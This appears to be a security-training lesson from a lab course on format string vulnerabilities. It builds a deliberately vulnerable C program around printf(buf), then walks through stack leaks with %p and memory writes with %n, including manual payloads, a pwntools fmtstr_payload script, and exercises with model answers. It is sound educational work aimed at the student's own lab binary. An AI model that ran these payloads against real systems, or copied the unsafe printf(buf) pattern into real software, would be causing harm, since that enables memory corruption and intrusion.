Step 208. Format String: Writing Memory with %n — An Attack That Writes Through a Print Function

Step 208. Format String: Writing Memory with %n — An Attack That Writes Through a Print Function

Level 3 — Pwn Track | Difficulty ★★★★☆ | Estimated time: 5 hours

Prerequisites: you’ve finished Steps 186–188. You know pointers and memory addresses, and you can talk to processes with pwntools.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: a WSL Ubuntu terminal, gcc, pwntools. The measured environment is Ubuntu 24.04, gcc 13.3.0, pwntools 4.15.0.
  • Caution: the format string vulnerability caused countless real intrusions in the early 2000s and remains a CTF staple. Today’s only target is an experimental program you wrote yourself.

A buffer overflow was an attack of "writing past the end." Today’s protagonist is different. It makes printf — a function that prints — read memory, and even write it. No overflow, no overwrite — the format string’s grammar itself becomes the weapon. Peek at the stack with a handful of %ps, engrave a value into memory with a single %n. A different family of vulnerability from BOF, one that doesn’t even need long input.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain why printf(buf) is vulnerable, in comparison with the correct code
  • Read the stack with a barrage of %ps and find where your input sits (the offset) among the argument slots
  • Use the direct-access syntax %6$p
  • Explain %n‘s behavior ("write the number of characters printed so far") and manually overwrite one value
  • Auto-generate a payload that writes an arbitrary value to an arbitrary address with pwntools’ fmtstr_payload

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C + Python (pwntools), WSL Ubuntu bash, gcc 13.3.0 (x86-64)
Today’s commands/grammar %p (print an argument), %N$p (directly read the Nth argument), %n (write the printed-character count), %Nc (manipulate the character count), fmtstr_payload(offset, {address: value}), FmtStr (auto-compute the offset)
Concepts needed Format strings, variadic arguments, stack arguments, offsets, null bytes in addresses

2-1. What the Vulnerability Is — The Moment Input Becomes "Grammar"

printf’s first argument is the format string — a blueprint holding the output’s shape. %d is the command "an integer here," %s is "a string here," and the actual materials come from the arguments that follow.

printf("%s", buf);   /* safe: buf is material (data) */
printf(buf);         /* vulnerable: buf is the blueprint (grammar) */

In the second form, the %s in the input we sent get interpreted as format specifiers. Since no materials (arguments) were passed, printf believes that whatever values happen to sit on the stack are its arguments and pulls them out. This is the starting point of both reading and writing.

2-2. Reading with %p — A Window into the Stack

%p means "print one argument as an address." No arguments were given, so stack values pop out one by one. Barrage it with %p.%p.%p... and the stack’s contents leak in a stream — which may contain your input, internal pointers, or worse, a canary or libc addresses.

On 64-bit, printf’s arguments go first through registers (rsi, rdx, rcx, r8, r9 — five of them), so the values leaking from the stack usually meet our input starting around the 6th slot. This "which slot is my input in" is the offset, and every exercise with this vulnerability starts by finding the offset. The $ syntax like %6$p reads the Nth argument directly.

2-3. Writing with %n — A Counter Turned Weapon

%n is special. It prints nothing. "Write the number of characters printed so far to the address the argument points to."

int n;
printf("abcde%n", &n);   /* n = 5 — the five characters 'abcde' were printed */

Reread it with an attacker’s eyes: ① the printed-character count is ours to adjust with things like %8c (print 8 characters), and ② "the address the argument points to" can be captured by planting an address in our input on the stack. In other words, we can write the number we want, to the address we want. Arbitrary-address write — the summit of this vulnerability.

2-4. The Placement Constraint — Null Bytes in Addresses

Write a 64-bit address (say 0x40404c) in little-endian and you get 4c 40 40 00 ... — a null byte in the middle. But to printf(buf), buf is a C string, so the string ends the moment it hits a null. That’s why addresses go after the format specifiers. The null may arrive once all the grammar has been processed. We build the actual layout by hand in 3-4.


3. Follow Along

3-1. Building the Target — A Program That Does printf(buf)

Input (vuln208.c)

#include <stdio.h>

int secret_value = 0;

int main(void) {
    char buf[100];
    printf("secret_value = %d (address %p)\n", secret_value, (void *)&secret_value);
    printf("Input: ");
    fflush(stdout);
    fgets(buf, sizeof(buf), stdin);   /* length-safe, but... */
    printf(buf);                      /* vulnerable: input used as the format string */
    printf("\nsecret_value = %d\n", secret_value);
    return 0;
}

How to read it: input arrives via length-capped fgets — there’s no buffer overflow. The vulnerability is the single line printf(buf). The program kindly telling us the address of the attack target secret_value is a learning convenience (in the field you’d find it yourself with %p reading).

Compile

cd ~/lab204_208
gcc -g -O0 -no-pie vuln208.c -o vuln208
vuln208.c: In function ‘main’:
vuln208.c:11:12: warning: format not a string literal and no format arguments [-Wformat-security]
   11 |     printf(buf);                      /* vulnerable: input used as the format string */
      |            ^~~

(Measured 2026-09-09.)

How to read it: the compiler knows this vulnerability as a warning (-Wformat-security). Code that ignored this warning became the door to intrusions for decades. The habit of reading warnings is itself defense.

3-2. Reading — Peeking at the Stack with %p

echo 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p' | ./vuln208
secret_value = 0 (address 0x40404c)
Input: AAAA.0x2af1d2b1.0xfbad2088.0x7e6ccaf1bb91.0x2af1d2cd.(nil).0x2e70252e41414141.0x70252e70252e7025.0x252e70252e70252e

secret_value = 0

(Measured 2026-09-09. The leading values are stack odds and ends, so they differ per environment.)

How to read the output: at the sixth %p slot, 0x2e70252e41414141 appears. Read the bytes backward (little-endian): 41 41 41 41 2e 25 70 2e = "AAAA.%p." — our input itself. Meaning our input’s start sits in the 6th argument slot. Offset = 6, confirmed. The 7th and 8th values that follow are also continuations of our input ("%p.%p.%…").

3-3. Direct Access — Confirming with %6$p

Query the 6th slot directly with the $ syntax.

./vuln208 < fs_direct.txt    # contents: AAAA.%6$p
secret_value = 0 (address 0x40404c)
Input: AAAA.0x2436252e41414141

(Measured 2026-09-09.)

How to read the output: 0x2436252e41414141 = backward, "AAAA.%6$" — this time the first 8 bytes of the input printed exactly. Offset 6 is certain. Typing $ in the shell raises escaping issues (Wall 1), so feeding from a file is convenient.

3-4. ★ Write 1 — Manually Overwriting secret_value with %n

The design. Layout of buf: the first 8 bytes (the 6th slot) hold %8c%7$n plus one filler ‘A’; the next 8 bytes (the 7th slot) hold the target address 0x40404c.

  • %8c — prints 8 characters. "Characters printed so far" becomes 8.
  • %7$n — writes 8 to where the 7th slot (our planted address) points.
from pwn import *
manual = b'%8c%7$n' + b'A' + p64(0x40404c)
# ... sent via process:
[manual %n] secret_value = 8

(Measured 2026-09-09.)

Success. secret_value changed from 0 to 8. The 8 characters we made it print got recorded in the variable at the address we planted. Memory written with grammar alone, no overflow. We don’t stop here — raise the printed-character count and you raise the value written.

3-5. ★ Write 2 — Writing an Arbitrary Value with fmtstr_payload

Placing a big value (say 0x1337) by hand is tedious. pwntools builds it automatically.

Input (fs_write.py)

#!/usr/bin/env python3
from pwn import *

BIN = '/root/lab204_208/vuln208'
context.binary = BIN     # pin the architecture (amd64) — the key to fmtstr_payload accuracy
SECRET = 0x40404c

payload = fmtstr_payload(6, {SECRET: 0x1337})
print('[auto] generated payload:', payload)

p = process(BIN)
p.recvuntil('Input: '.encode())
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='replace'))

Run

[auto] generated payload: b'%55c%9$lln%220c%10$hhnaaL@@\x00\x00\x00\x00\x00M@@\x00\x00\x00\x00\x00'
[auto fmtstr_payload] secret_value = 4919

(Measured 2026-09-09.)

How to read the output: 4919 = 0x1337. The wanted value went in exactly. Take the generated payload apart and it’s the same principle as 3-4’s manual method.

  • %55c%9$lln — after printing 55 characters (0x37), record 0x37 at the 9th slot’s address (0x40404c = ‘L@@…’).
  • %220c%10$hhn — print 220 more characters (total 275 = 0x113), then record only the low 1 byte (hhn), 0x13, at the 10th slot’s address (0x40404d = ‘M@@…’).
  • Result: 0x00001337 at 0x40404c. A technique for writing a big number in two passes.

Note: offset 6 can also be found automatically. Hand pwntools’ FmtStr class "a function that sends a payload and returns the output," and after several rounds of trial and error it figures out the offset. The measured result: auto-computed offset: 6 — matching our manual measurement.


4. Missions & Exercises

Mission — Hit the Target Value to Pass the Condition

  1. Modify vuln208.c: add a branch if (secret_value == 100) puts("FLAG{...}"); so the flag appears only when secret_value is exactly 100
  2. Redo the reading phase: find the offset with a %p barrage and confirm with %N$p
  3. Design a payload manually that writes 100 into secret_value (hint: %100c + %N$n, mind the address placement)
  4. Achieve the same goal with fmtstr_payload too, and compare the two payloads
  5. Answer in the report: "What is the fundamental fix for this vulnerability?" and "Why did it fall even though input was received safely with fgets?"

Exercises

Exercise 1. Explain the difference between printf("%s", buf) and printf(buf) from the perspective of "who is the blueprint?"

Exercise 2. In 3-2 the offset was 6. Why does it start around 6, not 1?

Exercise 3. Explain %n‘s behavior in one sentence, and state how the attacker controls "the value to write" and "the address to write to" respectively.

Exercise 4. In 3-5, the addresses were placed after the format specifiers. Why can’t they go first?


5. Model Answers & Completion Criteria

Mission Model Answer

An example report (2026-09-09, Ubuntu 24.04, gcc 13.3.0 — addresses and offsets vary by environment):

[reading] %p barrage → my input "AAAA" appears in the 6th slot, confirmed with %6$p
[manual write] payload = b'%100c%7$n' + b'A' + p64(secret_value address)
  → %100c prints 100 characters → 100 recorded at the 7th slot's address → FLAG printed
[auto write] fmtstr_payload(6, {address: 100}) → same result
  (pwntools makes it shorter, writing a small number in one %hhn pass)
[answers]
  fundamental fix: printf("%s", buf) — treat input only as data
  why it fell: fgets guarded only "length"; it couldn't stop the input from being
  "interpreted as a format string." Safe input ≠ safe use

How to verify: ① is the manual payload self-designed (its bytes should differ from the auto-generated result — evidence you worked the principle by hand)? ② did the offset come from %p observation, not a guess? ③ is "the distinction between safe input and safe use" in the answer?

Exercise Answers

Answer 1. In printf("%s", buf) the blueprint is the programmer’s fixed string "%s" and buf is merely material (data). In printf(buf) buf itself becomes the blueprint, so every % in the input gets interpreted as a command. Same function — the decisive difference is "does the input become grammar?"

Answer 2. Because under the x86-64 System V convention, printf’s variadic arguments go first through five registers (rsi, rdx, rcx, r8, r9), and stack slots come after that (from the 6th). Our input buf lives on the stack, so we meet it past the register slots (1–5), at the 6th. The number can vary by environment, so always confirm by observation.

Answer 3. "%n records the number of characters printed so far, as an integer, at the address the argument points to." The value written is adjusted by inflating the printed-character count with width specifiers like %100c, and the address is adjusted by planting a pointer inside our input on the stack and pointing at that slot with %N$n.

Answer 4. 64-bit addresses contain null bytes (0x40404c → 4c 40 40 00...), and to printf(buf), buf is a C string ending at a null — so with the address first, the string ends before the format specifiers get processed. With the address last, every specifier is processed first, so the null that follows doesn’t affect interpretation.

Completion Criteria Checklist

  • [ ] I can explain why printf(buf) is vulnerable and the compiler warning (-Wformat-security)
  • [ ] I read the stack with a %p barrage and found my input’s offset
  • [ ] I confirmed the offset with %N$p direct access
  • [ ] I can explain %n’s behavior (printed-character count → memory write)
  • [ ] I overwrote secret_value with a manual payload
  • [ ] I succeeded at writing an arbitrary value (0x1337) with fmtstr_payload
  • [ ] I know why addresses go last, due to their null bytes
  • [ ] Mission: I completed the condition-branch pass report (manual + auto)

6. Common Pitfalls & Fixes

Wall 1. I typed %6$p but only %6 shows

Symptom: the output of echo "AAAA.%6$p" | ./vuln208 ends at AAAA.%6 (we actually hit this while writing).
Cause: the shell interprets $p as a variable and eats it. Even inside double quotes, $ expands.
Fix: make the input a file and redirect it (./vuln208 < fs_direct.txt). b’%6$p’ inside a pwntools script never touches the shell, so it’s safe.

Wall 2. The payload fmtstr_payload made kills the process

Symptom: you sent the auto-generated payload and the process ended with no output. Looking at the product, it holds slot numbers larger than the offset, like %12$n (writing-time measurement, with context unset: %55c%12$n%220c%13$hhnaaaL@@\x00M@@\x00 — a 32-bit style 4-byte address layout).
Cause: with context.binary unset, pwntools mistook the target for i386. Slots are 4 bytes, so every address-position calculation misaligns.
Fix: set context.binary = BIN first. Then you get an accurate amd64 payload with %9$lln, %10$hhn, etc. (we verified before and after the fix by measurement).

Wall 3. I used %n and the program segfaults

Symptom: it dies the moment the payload goes in.
Cause: the Nth slot of %N$n held no valid address, so it tried writing to a garbage value as an address.
Fix: recheck the offset first. Print that slot’s contents with %N$p and verify our planted address lands exactly at slot N (that the leading format text’s length is a multiple of 8). One character off and the address splits broken across two slots.

Wall 4. The write worked but the value is wrong

Symptom: you meant to write 100 but a different number went in.
Cause: "characters printed so far" includes other output before the format string (the program’s banner, etc.) or output from earlier specifiers inside the same payload.
Fix: the count counts only within the printf(buf) call — only what was printed before the %n in buf’s specifier order adds up. If your manual design tangles, cross-verify with fmtstr_payload.

Wall 5. It compiled, but no vulnerability shows

Symptom: you feed %p and it just prints "%p" literally.
Cause: the source says printf("%s", buf), or the compiler optimized printf(buf) into puts(buf) (possible at -O1 and above).
Fix: check the source’s printf(buf), and compile today’s practice with -O0.


7. Summary

Today’s Concepts

Concept One-line explanation
Format string vulnerability A flaw where input becomes printf’s blueprint (grammar)
%p reading Mistakes stack values for arguments and prints them — information leak
Offset Which argument slot my input sits in — the starting point of every attack
%n writing Records the printed-character count at the argument’s address — arbitrary write
fmtstr_payload Auto-generates a write payload from an offset and {address: value}
Null-byte placement Addresses go after the specifiers — because of C string termination

Today’s Commands & Grammar

Grammar/code What it does
%p.%p.%p... Sequential stack reading — offset recon
%6$p Directly read the 6th argument slot
%8c Print 8 characters — manipulate %n’s counter
%7$n Record the count at the 7th slot’s address
%N$hhn Write only 1 byte (big values are split)
fmtstr_payload(6, {0x40404c: 0x1337}) Auto-generate a write payload
FmtStr(function) Auto-compute the offset

An Instinct More Important Than Commands

This vulnerability’s lesson lies not in a function but in grammar. The programmer thought they borrowed only "printing," but what they handed printf was grammar — and whoever holds the grammar holds the whole function. Safe input (fgets) and safe use (printf("%s", …)) are different problems — that single distinction has sorted out countless real incidents.

And look at %n’s very existence. A tame convenience feature — "write the printed-character count to memory" — became an arbitrary write the moment addresses became grabbable. Features are neutral; combinations are not. The attacker’s eye is, in the end, the gaze that discovers such combinations.


Once every box is checked, Step 208 is complete. Click the checkbox in the sidebar to save your progress.